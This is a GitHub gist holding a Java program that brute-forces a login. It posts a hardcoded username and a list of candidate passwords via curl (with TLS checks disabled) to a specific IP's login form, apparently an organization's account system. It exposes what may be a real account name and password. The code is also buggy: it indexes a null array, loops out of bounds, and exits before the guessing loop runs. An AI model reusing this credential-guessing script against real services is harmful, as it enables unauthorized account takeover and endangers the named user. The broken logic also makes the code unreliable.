Last active
February 24, 2017 07:32
-
-
Save AaronVigal/417dccc693b5ec77bbf5f54977325639 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package AaronVigal; | |
import java.io.BufferedReader; | |
import java.io.File; | |
import java.io.InputStreamReader; | |
import java.util.Arrays; | |
public class Runner implements Runnable{ | |
private int x; | |
public Runner(int splitNum) { | |
this.x = splitNum; | |
} | |
public void run() { | |
// long startTime = System.currentTimeMillis(); | |
System.out.println("Thread is running..."); | |
String[] pass = {"1","2","3","4","5","6","7","8","9","0","10","11","neky4302"}; | |
int len = pass.length; | |
int counter = 0; | |
String[][] newArray = null; | |
for (int i = 0; i < len - x + 1; i += x){ | |
newArray[counter++] = Arrays.copyOfRange(pass, i, i + x); | |
} | |
if (len % x != 0){ | |
newArray[counter] = Arrays.copyOfRange(pass, len - len % x, len); | |
} | |
for(int i = 0; i <= newArray.length; i++){ | |
System.out.println(newArray[i]); | |
} | |
System.exit(0); | |
String correctPass = ""; | |
for(int i = 0; i<pass.length; i++){ | |
try { | |
if(testPass("avigal167", pass[i])){ | |
System.out.print("Found"); | |
correctPass += pass[i]; | |
} | |
} catch (Exception e) { | |
e.printStackTrace(); | |
} | |
} | |
// System.out.println(" in " + (System.currentTimeMillis() - startTime) + " seconds!"); | |
System.out.println("Password: " + correctPass); | |
} | |
public static void main(String[] args) { | |
for(int i = 1; i<= 2; i++){ | |
new Thread(new Runner(i)).start(); | |
} | |
} | |
public static boolean testPass(String username, String password) throws Exception { | |
if(new BufferedReader(new InputStreamReader(new ProcessBuilder("curl","-s","--insecure","https://205.202.189.21/ams/shared/api/security/loginForm","--data","login=" + username + "&password=" + password + "&organization=MPS", "--compressed").redirectErrorStream(true).directory(new File("/Users/shipwreck1028/Desktop")).start().getInputStream())).readLine() == null){ | |
return false; | |
}else{ | |
return true; | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment